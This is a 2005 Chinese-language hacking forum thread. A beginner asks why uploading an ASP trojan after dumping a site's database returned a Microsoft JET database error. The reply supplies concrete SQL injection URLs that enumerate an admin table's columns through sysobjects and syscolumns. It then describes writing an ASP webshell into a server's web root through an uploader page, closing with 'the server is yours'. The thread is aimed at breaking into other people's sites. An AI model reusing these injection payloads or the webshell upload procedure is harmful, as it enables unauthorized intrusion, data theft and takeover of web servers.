返回列表 发帖
Evi 该用户已被删除
楼主 跳转到 » 正序看帖
打印
tT
Evi发表于 2005-4-10 10:10 | 只看该作者

关于asp木马暴库的菜鸟问题

我在暴库program by dlog成功后遇到了这样的问题 请知道的朋友帮助解答 成功暴库后上传asp木马 提示如下HTTP/1.1 500 Internal Server Error Server: Microsoft-IIS/5.0 Date: Sun, 10 Apr 2005 01:56:02 GMT X-Powered-By: ASP.NET Content-Length: 278 Content-Type: text/html Set-Cookie: ASPSESSIONIDSQBABDCB=DHDGDNPAMPOALEKILCCFPDPD; path=/ Cache-control: private

Microsoft JET Database Engine 错误 ';80040e10';

至少一个参数没有被指定值。

/carmen/day/log_lib.asp，行11 请问这是为什么？ 同时怎样解决 ？ 是不是因为木马未配置好的缘故？如果是该如何配置 谢谢 :em05:

收藏 分享

Evi 该用户已被删除
板凳
Evi发表于 2005-4-10 20:39 | 只看该作者

关于asp木马暴库的菜鸟问题

晕 我不是太看的懂
   有人能通俗的解释一下吗？
  看来我得恶补一下asp知识了

TOP

坏的刚刚好 该用户已被删除
沙发
坏的刚刚好发表于 2005-4-10 11:26 | 只看该作者

关于asp木马暴库的菜鸟问题

你碰到了"数据库连接出现问题" 可以这样：暴出表中的字段 http://www.***.com/***.asp?id=1 and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=';U'; and name=';admin'; and uid>(str(id))) 得到UID的数值假设为18779569 uid=id 提交： http://www.***.com/***.asp?id=1 and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id 提交： http://www.***.com/***.asp?id=1 and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in (';id';,...)) 来暴出其他的字段 “关于木马上传” 如 http://127.0.0.1/ftp.asp （这里假设服务器的ip是 127.0.0.1） 在生成文件栏 输入将在服务器上生成的文件名比如：C:\Inetpub\wwwroot\Server.asp 在文件内容里 ，随意的粘贴一个asp代码 点递交，当http://127.0.0.1/ftp.asp 文件执行完毕 基本上服务器上的asp木马就生成了。 浏览http://127.0.0.1/Server.ASP 服务器就是你的了。

TOP

返回列表 回复 发帖